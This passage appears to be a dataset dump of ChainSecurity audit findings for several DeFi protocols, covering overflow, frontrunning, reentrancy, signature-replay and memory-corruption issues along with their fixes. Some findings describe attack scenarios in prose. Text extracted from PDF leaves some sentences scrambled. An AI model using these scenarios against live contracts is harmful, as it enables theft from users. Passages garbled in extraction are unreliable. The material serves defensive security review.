_assetsToReceive. The code of the external position framework doesn't do any checks itself and simply adds any asset to the tracked assets of the vault. Note that this is also independent of the balance. VaultLib.__callOnExternalPosition(): function __callOnExternalPosition( address _externalPosition, bytes memory _actionData, address[] memory _assetsToTransfer, uint256[] memory _amountsToTransfer, address[] memory _assetsToReceive ) private { require( isActiveExternalPosition(_externalPosition), \"__callOnExternalPosition: Not an active external position\" ); for (uint256 i; i < _assetsToTransfer.length; i++) { __withdrawAssetTo(_assetsToTransfer[i], _externalPosition, _amountsToTransfer[i]); } IExternalPosition(_externalPosition).receiveCallFromVault(_actionData); for (uint256 i; i < _assetsToReceive.length; i++) { __addTrackedAsset(_assetsToReceive[i]); } } ...2e42850b7bbc2237618c38fb01e767d14b606e00 function __addTrackedAsset(address _asset) private notShares(_asset) { if (!isTrackedAsset(_asset)) { __validatePositionsLimit(); assetToIsTracked[_asset] = true; trackedAssets.push(_asset); emit TrackedAssetAdded(_asset); } } Avantgarde Finance - Sulu Extensions IX - 16 NoteVersion1 \fThe SolvV2BondBuyerPositionParser doesn't check these assets sufficiently: else if (_actionId == uint256(ISolvV2BondBuyerPosition.Actions.Claim)) { (address voucher, uint256 tokenId, ) = __decodeClaimActionArgs(_encodedActionArgs); ISolvV2BondVoucher voucherContract = ISolvV2BondVoucher(voucher); uint256 slotId = voucherContract.voucherSlotMapping(tokenId); ISolvV2BondPool.SlotDetail memory slotDetail = voucherContract.getSlotDetail(slotId); assetsToReceive_ = new address[](2); assetsToReceive_[0] = voucherContract.underlying(); assetsToReceive_[1] = slotDetail.fundCurrency; } A voucher's underlying and fundCurrency may be any asset the IVO market supports. There is no check that the fundCurrency is an asset supported by Enyzme. If the position was bought through the external position, it's likely that the underlying is supported (else it couldn't have been bought.) Note that Solv Bond Voucher NFT positions may be transferred to an external position and consequently one cannot rely on the underlying to be supported. Even when no value is returned in the specific asset, the asset is still added as tracked asset. Similarly this situation may arise in the SolvV2BondIssuerPosition: CreateOffer() only validates that the received currency is not the native token (Ether). There is no further check on this asset which will be incoming to the vault upon reconcile(). It's unclear if Enyzme supports all possible assets by default (e.g. also when new assets are added by Solv). Unsupported assets tracked by a vault may have severe consequnces as they break e.g. calcGav(). It's the fund manager's responsibility to be aware and to act appropriately. Avantgarde Finance - Sulu Extensions IX - 17 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ix/"}, {"title": "5.1 Trade Function Discrepancy", "body": " Users can call the trade functions tradeBySourceAmount and tradeByTargetAmount with tradeActions that contain the same strategy multiple times. During the execution of the trade functions, the corresponding strategies are updated after each trade action has been executed. This is, however, not true for the view functions tradeSourceAmount and tradeTargetAmount: y and z values of the associated strategies are not updated during the execution. If the same strategy is traded against multiple times in one call, the trade result might therefore diverge from the result of the corresponding trade functions in the same state. Risk accepted: Bancor accepts the risk with the following statement: This is a known issue and is considered an edge case with minimal risk, as matching is done by the SDK that prevents this case. The alternative would be to check for duplicate strategies during the trade which would increase the gas costs for all trades, so we decided against adding such a check Bancor - Carbon - 10 SecurityDesignCorrectnessCriticalHighMediumLowRiskAcceptedCorrectnessLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Overflow Might DOS the App Price Precision Very Low for Some Tokens -Severity Findings -Severity Findings Missing Events No Function for Fee Withdrawal Read-only Reentrancy Zero Amount ERC20 Transfers 0 2 0 4 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "6.1 Overflow Might DOS the App", "body": " The _tradeTargetAmount and _tradeSourceAmount functions compute the input/output needed to perform a trade in a Strategy. However, Strategy inputs are only constrained by the z variable which should be greater or equal to y. This implies that A or B can be set arbitrarily by a user and z has no no limit to the upside. Let's take the example of _tradeTargetAmount: function _tradeTargetAmount(uint256 x, Order memory order) private pure returns (uint128) { uint256 y = uint256(order.y); uint256 z = uint256(order.z); uint256 A = uint256(order.A); uint256 B = uint256(order.B); if (A == 0) { return MathEx.mulDivF(x, B * B, ONE * ONE).toUint128(); } uint256 temp1 = y * A + z * B; uint256 temp2 = (temp1 * x) / ONE; uint256 temp3 = temp2 * A + z * z * ONE; return MathEx.mulDivF(temp1, temp2, temp3).toUint128(); } Here, z could potentially be type(uint128).max, which would imply that the temp3 computation overflows, and the transaction reverts. An attacker could create a simple Strategy with all parameter values (except the liquidity) maxed out. This Strategy will yield great results in the SDK: It returns extremely favorable rates for any trade. And as the computation in the SDK is not bound by 256 bit limits, these rates will always be sorted to the top of Bancor - Carbon - 11 CriticalHighCodeCorrectedCodeCorrectedMediumLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignHighVersion1CodeCorrected \feach getTradeData call without errors. This results in all users relying on the SDK now trading against a Strategy that reverts on-chain. that the mulDiv Note type(uint128).max due to the safe downcast to 128 bits. it might also happen when function's result ends up greater than The SDK now incorporates checks to verify that each calculation (e.g., mulDivC) does not exceed 256 functions _tradeSourceAmount and bits and does not go below 0. Additionally, _tradeTargetAmount now calculate factors that are used to scale down intermediate numbers that are too big to fit in 256 bits. the ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "6.2 Price Precision Very Low for Some Tokens", "body": " Pairs containing a very low-value token and a low decimal token create some precision issues. Assume the existence of a token named TOK with 18 decimals and another token named USD with 6 decimals precision. Let's say the price of TOK is 0.00001 USD per TOK. If a user wants to buy some TOK at constant price P = 0.00001 USD per TOK, then they need to compute the B parameter this way: B = 2^32 * sqrt(0.00001 * 1e6 / 1e18) B = 13.581879131294592 However, B must be an integer, meaning it will be rounded up or down (depending on the frontend implementation). In any case, the price will differ greatly from the intended price resulting in possible loss or no execution for the user. Note: This issue was already disclosed by Bancor at the beginning of the audit. Bancor added precision by increasing the multiplying factor to 2^48 instead of 2^32, and implemented an encoding logic to be able to stretch the range of possible rates. Values greater than 2^48 now can have a (negligible) precision loss. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "6.3 Missing Events", "body": " Some state-changing actions are missing an event emission. For example, most setters in the Voucher contract are not emitting events. Missing events have been added to all state-changing functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "6.4 No Function for Fee Withdrawal", "body": " Each trade accumulates fees in Strategies._accumulatedFees. There is, however, no function to withdraw these fees. Withdrawal is still possible by assigning the ROLE_ASSET_MANAGER role to the owner of the contract and withdrawing funds via MasterVault.withdrawFunds. This is, however, Bancor - Carbon - 12 CorrectnessHighVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \ferror-prone as more than the actual amount of fees could be withdrawn. The past has shown that faulty governance proposals can be executed. This should be avoided by restricting the fee withdrawal directly in the contract. A ROLE_FEES_MANAGER role was added along with a function to withdraw a specific amount of fees of a particular token. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "6.5 Read-only Reentrancy", "body": " When updating a strategy, funds are first transferred or withdrawn (which might lead to a callback to the user, for example if the native token is used) before the strategy is updated in storage. Considering the possibility of an external protocol integrating with Carbon, it might be the case that the protocol wants to measure the value of a strategy by reading the order parameters in storage. In this case, the read value would not correspond to the real value of the strategy. For example, an external integration might accept a Strategy NFT and give the user something in return based on the liquidity the NFT holds. Consider the following process: The user approves the NFT for the given contract. The user calls updateStrategy to reduce the liquidity of the Strategy associated with the NFT. In the callback, the user calls the contract's function that transfers the NFT. The contract transfers the NFT, checks the associated liquidity and gives the user a return. The liquidity of the Strategy is reduced and the tokens are sent to the user. Order data is now updated in storage before any possible calls to the user are performed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "6.6 Zero Amount ERC20 Transfers", "body": " Some tokens revert on transfers of 0 amount. Calls to CarbonController.createStrategy potentially try to perform such 0-amount-transfers if one of the given orders does not contain liquidity. The call would revert in this case. The code now transfers tokens only if the amount is greater than 0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "6.7 Ambiguous Naming", "body": " Some functions / error messages are named ambiguously in contrast to the naming of other entities: The error GreaterThanMaxInput is thrown in CarbonController.tradeByTargetAmount when a value is smaller than maxInput. CarbonController.tradeSourceAmount and CarbonController.tradeTargetAmount are easily confused with tradeByTargetAmount and tradeBySourceAmount, but the meaning of target and source is reversed. Bancor - Carbon - 13 SecurityLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedInformationalVersion1CodeCorrected \f Strategies._tradeSourceAmount and _tradeTargetAmount are easily confused with tradeByTargetAmount and tradeBySourceAmount, but the meaning of target and source is reversed. Function names were changed and the error name was corrected. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "6.8 Gas Inefficiencies", "body": " 1. If a pool does not already exist when creating a Strategy, the _createPool function returns the created pool but it is not used and instead read from storage afterwards. 2. The Pool struct id field is redundant as the struct can only be accessed through a mapping with Pool ID as key. 3. The StoredStrategy struct id field is redundant as the struct can only be accessed through a mapping with Strategy ID as key. 4. In _createPool, the _poolIds mapping is set up with the tokens in sorted and reversed order. Instead, _pool could always sort the tokens before searching in the mapping with little overhead. 5. When updating a Strategy, the packed orders could be updated word by word, just like in the _trade function. 6. In tradeBySourceAmount / tradeByTargetAmount, _validateTradeParams loads all Strategies associated with the given trade actions from storage. _trade later loads the Strategies from storage again. 7. In _trade, StoredStrategy fields are accessed multiple times (in storage), but could have rather been saved to memory once. 8. In StoredStrategy, the fields owner and token1 might be redundant as they are not used in the contracts (except in events). Off-chain applications could extract the data elsewhere. 1. The returned pool from the _createPool function is now being used. 2. The id field was removed from struct. 3. The id field was removed from struct. 4. Sorting is now performed where needed, instead of the double sided storage. 5. Orders are now updated word by word. 6. validateTradeParams no longer loads the strategies. 7. Trade flow now loads values only once. 8. Both owner and the tokens were removed from the strategies. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "6.9 Typographical Errors", "body": " Some comments / symbol names contain typographical errors. Some examples are: Bancor - Carbon - 14 InformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f PoolDoesNotExists error thrown in Pools._validatePoolExistance. The comment \"revert here if the minReturn/maxInput constrants is unmet\" in Strategies._trade. The comment \"the address of the admin can't be change, so [...]\" in TransparentUpgradeableProxyImmutable. Errors corrected: Typographical errors in various sections of the code have been improved or removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "6.10 Unused Code", "body": " A few pieces of code seem to be nut in use in the project anymore. This list is non-exhaustive: 1. In CarbonController, the error ZeroLiquidityProvided is unused. 2. In the MathEx library, the Math library of OpenZeppelin is imported but unused. 3. In Strategies, the StrategyUpdate struct is unused. Unused code has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "6.11 _updateOrders Error Message", "body": " Strategies._updateOrders removes the target amount of a trade from the respective order's y value. If this amount is actually larger than y, the transaction reverts on underflow. As this is a common case (for example for trades that are executed after some other trades on the same Strategy), an actual error message might make sense. An error message has been created and is returned for this specific case. Bancor - Carbon - 15 InformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "7.1 No Automatic Order Execution", "body": " Orders are not evaluated against the set of currently active orders upon creation. This means, that an order with a price outside of the spread between buy and sell orders (on the respective \"other side\") is not executed against other orders but just included into the set of active orders. If a user were to place an order with a price that is not intended (e.g., due to keyboard input error), this order will be executed at exactly that price (as soon as a trade occurs), even if there are other open orders the order could be executed against for a better price. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "7.2 Order Prices", "body": " Users are able to choose order prices arbitrarily, making it possible to create strategies that do not make sense market-wise but might happen by mistake for example. One could create a Strategy with the buy order prices being greater than the sell order prices, basically giving out liquidity to other users. Another possibility is a Strategy with partially overlapping prices. In this case there are conditions that could lead to the user also losing liquidity. Consider the following example of a Strategy with opposite orders in the same price range: Fees are 0% for simplification. The buy order buys A tokens for 100 B tokens with a price range of [1, 4]. The sell order sells 50 A tokens for B tokens with a price range of [1, 4]. A trader now buys 100 B tokens for a total of 50 A tokens on the buy curve. The 50 A tokens are added to the liquidity of the sell curve, resulting in 100 A tokens liquidity. The capacity of the sell curve is adjusted to 100, moving the curve. The trader now immediately buys ~67 A tokens on the sell curve for the 100 B tokens they received before. The trader made an instant profit of ~17 A tokens. For these reasons, it is important to note that users should be fully aware of the consequences of their strategy parameters choice. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "7.3 Token Incompatibilities", "body": " Some tokens are not compatible with the system: Tokens with fees. Rebasing tokens. Bancor - Carbon - 16 NoteVersion1NoteVersion1NoteVersion1 \f7.4 Trade Frontrunning CarbonController.tradeBySourceAmount and tradeByTargetAmount implement slippage protection in order to mitigate risks of frontrunning. However, as Strategies can be updated by their owners for relatively cheap and with arbitrary values, frontrunning trades in Carbon is simpler/cheaper than on traditional AMMs. For this reason, users should keep their slippage protection tight and expect their minima/maxima to be hit regularly. Consider the following example: User1 creates a strategy with: A = 1 B = 1 y = 100 z = 100 User2 creates a trade transaction based on this strategy and expects to receive exactly 100 tokens for the 50 tokens they send in (not considering fees). They set the minimum amount of tokens they want to receive to 80. User1 observes the mempool and sees the transaction User2 just created. They now create an updateStrategy transaction with the following changes to their strategy: A = 0.5 User1 pays a miner to include this transaction before the transaction of User2 (or any other trade transaction that is performed on the given strategy) in the next block. After User2's transaction is executed, they receive only ~82 tokens instead of the expected 100. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "7.5 updateStrategy Denial of Service", "body": " CarbonController.updateStrategy employs a mechanism that ensures that a strategy has not been altered between the creation of a transaction and the actual execution. An attacker could theoretically block certain users from ever updating their Strategies by frontrunning their calls to updateStrategy with miniscule trades. Nevertheless, users still have the possibility to delete and re-create their Strategies if they were targeted in such an attack. Bancor - Carbon - 17 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-carbon/"}, {"title": "5.1 DOMAIN_SEPARATOR Is Not Recomputed if", "body": " chainId Changes The ERC712Permit.DOMAIN_SEPARATOR is immutable, and thus won't be changed if the chain forks. If Ethereum fork in the future (like PoW fork), the chainId will change however the BasePositionManager on forked chain will still accept permit with old chainId. This leads to cross-chain replay attacks, where signature from one domain is used on the other domain. CS-KYBE2-003 Kyber Network - KyberSwap Elastic V2 - 12 SecurityDesignCorrectnessCriticalHighMediumLowRiskAcceptedSecurityLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Oracle Observation Functions Parameters -Severity Findings -Severity Findings Compiler and Library Versions Missing Sanity Checks Swap Amount Vs Price Limit Discrepancy maxNumTicks Computation Can Be Wrong secondsPerLiquidity of the First LP Starts at UNIX Time 0 0 1 0 5 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic/"}, {"title": "6.1 Oracle Observation Functions Parameters", "body": " The PoolOracle functions observe, observeSingle, and observeFromPoolAt accept arbitrary parameters time that should serve as a reference point for the secondsAgo parameter, and tick that should be used to transform the latest observation if needed. But the Oracle library requires the provided time to be the current block timestamp, and tick to be the current tick of the pool. More specifically for time, the function Oracle.lte requires a and b to be chronologically before time. Thus, an arbitrary time parameter may return a wrong value for the accumulator. The same is valid for an arbitrary value of tick, which could yield an incorrect accumulator if the last observation had to be transformed. CS-KYBE2-001 Example with arbitrary time: cardinality = 8 block.timestamp = 1050 time = 550 secondsAgo = 100 With the following state, for simplicity assume that tick timestamps are showed: ==observationTimestamp i , only the i |350| |500| |700| |900| |1024| |150| |220| |300| ^index Kyber Network - KyberSwap Elastic V2 - 13 CriticalHighCodeCorrectedMediumLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrected \fthe function observeSingle(550, 100, 1024) will yield surrounding observations (4,0) (index 4 for beforeOrAt and index 0 for atOrAfter), instead of the expected (0,1), and return a wrong tickCumulative value. Description of changes: observeFromPoolAt, Remove add observeSingleFromPool to read a single observation from a pool. All observe functions use block.timestamp as a time for. observeSingle observe, functions, and ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic/"}, {"title": "6.2 Compiler and Library Versions", "body": " Solc version 0.8.9 is not the most up-to-date version and has known bugs. The smart contract libraries used by the project are: \"@openzeppelin/contracts\": \"4.3.1\", \"@openzeppelin/contracts-upgradeable\": \"^4.6.0\", However, these libraries are neither up to date nor consistent with one another. CS-KYBE2-002 The OZ libraries now both use version 4.3.1. Regarding the solc compiler Kyber Network responded: We didn\u2019t upgrade the solidity version to latest as it could increase the possible changes for the protocol. Known bugs in solc 0.8.9 should not be triggered the assessed codebase. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic/"}, {"title": "6.3 Missing Sanity Checks", "body": " The function TicksFeesReader.getNearestInitializedTicks is missing input sanitization for the tick parameter. It can accept invalid ticks such that tick < MIN_TICK or tick > MAX_TICK. The while loops won't terminate for invalid ticks. CS-KYBE2-004 A check was added. require(T.MIN_TICK <= tick && tick <= T.MAX_TICK, 'tick not in range'); Kyber Network - KyberSwap Elastic V2 - 14 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.4 Swap Amount Vs Price Limit Discrepancy CS-KYBE2-005 The swap terminates in 2 cases: specified amount is exhausted or specified price limit is reached. However, there exists an edge case when specified amount is just enough to reach a price limit. In that case the Pool will rely on specified amount value as a limit, that will lead to computation of a new pool state using estimateIncrementalLiquidity function. If the price limit was used, the new state computation would be handled by calcIncrementalLiquidity function. The pool state is defined by prices and computation of a new state using token amounts leads to more numeric conversions and thus to less precision. If a Pool has following initialized tick ranges: [a, b) [b, c). And current tick is b+1, a swap specifying getSqrtRatioAtTick(b) as a limit would switch the liquidity to the value of [a, b) tick range. But a swap swapQty needed to reach the same state would result in a pool state where the liquidity has not being shifted. The computeSwapStep function uses calcIncrementalLiquidity when the usedAmount is equal to specifiedAmount. Thus, the more precise price limit is used for this edge case. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic/"}, {"title": "6.5 maxNumTicks Computation Can Be Wrong", "body": " In the functions TicksFeesReader.getTicksInRange , the computation of maxNumTicks can return a value that is too low when length==0, thus making the returned memory array incomplete. CS-KYBE2-006 Example, when startTick < 0: MAX_TICK = 2; MIN_TICK = -2; length = 0; startTick = -1; tickDistance = 1; With this setting, maxNumTicks=3 and only the ticks -1, 0, 1 will be returned, missing the tick 2. In getAllTicks for this case will be: maxNumTicks=7, while should be 5. Example, when startTick > 0: MAX_TICK = 5; MIN_TICK = -5; length = 0; startTick = 2; tickDistance = 2; With this setting, maxNumTicks=1 and only the tick 2 will be returned, missing the ticks 4 and 5. Kyber Network - KyberSwap Elastic V2 - 15 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe cases from above are fixed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic/"}, {"title": "6.6 secondsPerLiquidity of the First LP Starts", "body": " at UNIX Time 0 CS-KYBE2-007 (LP) opens liquidity provider , the When a 1 poolData.secondsPerLiquidityUpdateTime == 0 and _syncSecondsPerLiquidity() will have no effect since no base liquidity is yet in the pool. When the second position is opened at t , 2 _syncSecondsPerLiquidity() will update the state, but secondsElapsed will be equal to the time will be accounted for since 0 delta from UNIX timestamp 0 until now (t instead of t ). So, the liquidity added by LP ) of a pool at first position (LP 1 1 2 . t 1 Description of changes: Always update the poolData.secondsPerLiquidityUpdateTime to the current block timestamp whenever the secondsElapsed > 0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic/"}, {"title": "6.7 Code Duplication", "body": " In the case !isToken0, the function SwapMath.calFinalPrice computes the same tmp value in each of the subbranches. The computation can be carried out outside of the conditional structure. CS-KYBE2-008 The common code was moved outside the branch bodies. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic/"}, {"title": "6.8 Wrong Comments", "body": " The natspec of the struct IBasePositionManager.MintParams still mentions the fee in bps, but the fees have been updated to be in feeUnits. CS-KYBE2-012 @param fee now correctly states that fee is in fee units. Kyber Network - KyberSwap Elastic V2 - 16 CorrectnessLowVersion1CodeCorrectedInformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic/"}, {"title": "7.1 Gas Griefing Attack", "body": " The swap function can perform multiple iterations of the while loop before terminating. Such execution can cost a lot of gas. Malicious actor can bring the pool price to an extremely high or low value. This can be done during the initial Pool unlock or via swap. While swap will require a lot of gas from attacker, similar amount of gas will also be required to bring the price back to true value. Since the amount of tokens needed to unlockPool is low, the cost of attack is small. CS-KYBE2-009 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic/"}, {"title": "7.2 Oracle Limitations", "body": " The tickCumulative from PoolOracle contract can be used to compute the time-weighted average tick for a given period of time. If the price is computed from this tick, this is effectively a geometric mean of the time-weighted average price (gm-TWAP). Compared to the arithmetic mean TWAP (am-TWAP), gm-TWAP is more sensitive to upward price movements and less sensitive to downward price movements. Any protocol that plans to use PoolOracle needs to be aware of this. In addition, in PoS consensus, the multi-block price manipulations are possible on AMM protocols: CS-KYBE2-010 https://chainsecurity.com/oracle-manipulation-after-merge/ https://blog.uniswap.org/uniswap-v3-oracles ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic/"}, {"title": "7.3 PoolOracle Observations Mapping Collision", "body": " The mapping(address => Oracle.Observation[65535]) field in PoolOracle contract allows any msg.sender to modifier consecutive 2**16 storage slots. This theoretically can write to storage slot 151 and thus overwrite the owner of the contract. Note that solidity does not check for storage pointer overflows. However, this is a practically impossible attack, since it requires attacker to find an address that corresponds to mapping storage slot with 240 fix bits. CS-KYBE2-011 Kyber Network - KyberSwap Elastic V2 - 17 InformationalVersion1RiskAcceptedInformationalVersion1RiskAcceptedInformationalVersion1RiskAccepted \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic/"}, {"title": "5.1 Complexity of Commands Effect Evaluation", "body": " Due to the novelty and non-standard encoding of Weiroll, the end user will need to sign a transaction, without knowing full details about the execution consequences. Standard hardware and software wallets won't be able to decode the content of the commands. As a result, users will need to perform blind-signing - signing without verifying the full transaction details. Phishing attacks can be performed on users to trick them to sign commands that will impact the token balances in an undesired way. Users should be notified about this risk and only sign transactions from trusted sources and ideally after careful inspection. Enso - Enso-Weiroll - 10 DesignCorrectnessCriticalHighMediumLowRiskAcceptedDesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Function writeOutputs Can Corrupt Memory -Severity Findings Assumptions on Output From Unsuccessful Call Dynamic Variable Encoding Is Assumed to Be Correct The Index Is Not Masked Value for the Call Can Be Loaded From Wrong Memory Location -Severity Findings IDX_USE_STATE Case Not Handled Inside Tuples and Arrays Non-terminated Indices Fail Silently Unbalanced Tuple Starts and Ends Cause Silent Failure 0 1 4 3 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "6.1 Function writeOutputs Can Corrupt Memory", "body": " To store the pointer of the return data the writeOutputs function performs a write to memory at the index state + 32 + (idx & IDX_VALUE_MASK) * 32 . However, a check that this location still belongs to the state array of pointers is not performed. This effectively permits writing to locations in memory that can contain other variables, including data of other state elements. The command (maliciously or accidentally) can trigger such writing and cause unexpected results. A check was introduced that verifies that idx & IDX_VALUE_MASK < state.length. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "6.2 Assumptions on Output From Unsuccessful", "body": " Call Unsuccessful calls are assumed to revert with no output data, with output data of the type Panic() (4 bytes selector, empty payload), or with output data of the type Error(string) (4 bytes selector, 32 bytes pointer, 32 bytes string size, string content). Errors can however have arbitrary signatures, which are up to the contract implementors to define. Enso - Enso-Weiroll - 11 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fFor example, an error of type Error(uint256,uint256) will have its second integer interpreted as a string length in the VM error handling, potentially causing a memory expansion that will consume all the gas, if the uint256 value is big enough. Additional checks have been introduced to interpret the return data of the error as a string only when it is appropriate to do so. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "6.3 Dynamic Variable Encoding Is Assumed to Be", "body": " Correct When CommandBuilder builds inputs from the state, the variable length case for bytes and strings (not array, not tuple) does not verify that the state element at the given index is correct abi encoded data. The following consequences are possible: The case when state[idx & IDX_VALUE_MASK].length == 0 is not handled correctly. During the encode loop, this is executed free += state[idx & IDX_VALUE_MASK].length at line 113, or offset += state[idx & IDX_VALUE_MASK].length at line 320. However if the state element is the empty bytes sequence \"\", the free or offset/pointer pointer does not change. The encoding of such a state element will write a pointer to unallocated free memory. If any other dynamic variable is allocated afterward the pointer of the empty state element will point to the same location. The checks performed requires state[idx & IDX_VALUE_MASK].length % 32 == 0 - this does not prevent the empty state case. setupDynamicVariable() in The following fix was done to address the issue: A constraint was added for the dynamic variable case in the setupDynamicVariable function: in addition to state[idx & IDX_VALUE_MASK].length % 32 == 0 check, a check that this lengths does not equal 0 was added. This resolves the issue. Enso responded: Added check to revert if argLen == 0 (weiroll.js already encodes 0x as a full bytes32 value, so the state generated with weiroll.js will be unaffected). Also, we now check the variable\u2019s encoded size is the same as the content size. Note: The weiroll.js library is out of scope for this assessment, however, encoding of an empty string as full bytes32 value does not fully comply with abi encoding. Such behavior was considered a bug in solidity. Some contracts with strict decoding rules might not accept empty strings encoded this way. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "6.4 The Index Is Not Masked", "body": " The IDX_VALUE_MASK is not applied to index values at certain places: 1. Mask is not applied on the index in VM smart contract at line 94. Enso - Enso-Weiroll - 12 CorrectnessMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \f2. Mask is not applied on the index in CommandBuilder smart contract at line 396. The appropriate index masking has been applied. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "6.5 Value for the Call Can Be Loaded From Wrong", "body": " Memory Location When a call with value is performed in VM the first index is treated as an index for the state element. The read from this memory location is done via assembly instruction. bytes memory v = state[uint8(bytes1(indices))]; assembly { callEth := mload(add(v, 0x20)) } This mload skips 1 word - the length of the state element. However, the state element can be empty. In this case, the mload will read memory allocated for other data. Since callEth should be a uint256 typed argument, it should be treated the same way as any other static variable. Enso responded: We now validate that the state element\u2019s length is 32 bytes and convert it into a uint256. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "6.6 IDX_USE_STATE Case Not Handled Inside", "body": " Tuples and Arrays Indices with the value IDX_USE_STATE behave differently according to whether they belong to dynamic tuples or not. Inside dynamic tuples, the 0xfe == IDX_USE_STATE index is treated as variable length data (bytes or string). 0xfe value is masked and used as an index to 126 state bytes element. Outside of dynamic tuples, it causes the whole state to be ABI encoded at that position. This difference in behavior is not mentioned in the specification. IDX_USE_STATE now explicitly reverts when used inside a dynamic tuple or array. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "6.7 Non-terminated Indices Fail Silently", "body": " Enso - Enso-Weiroll - 13 CorrectnessMediumVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fIf FLAG_EXTENDED_COMMAND is used, and no FF index is included in the indices list, an invalid input will be produced by CommandBuilder.buildInputs() instead of reverting, causing the external contract call to have invalid data. A new variable, indicesLength, keeps track of the number of indices that needs to be considered by commandBuilder.buildInputs() ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "6.8 Unbalanced Tuple Starts and Ends Cause", "body": " Silent Failure In CommandBuilder.buildInputs() every dynamic array or tuple start should be matched by an index of value IDX_DYNAMIC_END. Failing to match opening and closing structures causes offsets not to be updated, and invalid output to be produced. The invalid result risks being passed to arbitrary external calls. Since functions setupDymamicTuple and encodeDynamicTuple need to encounter an 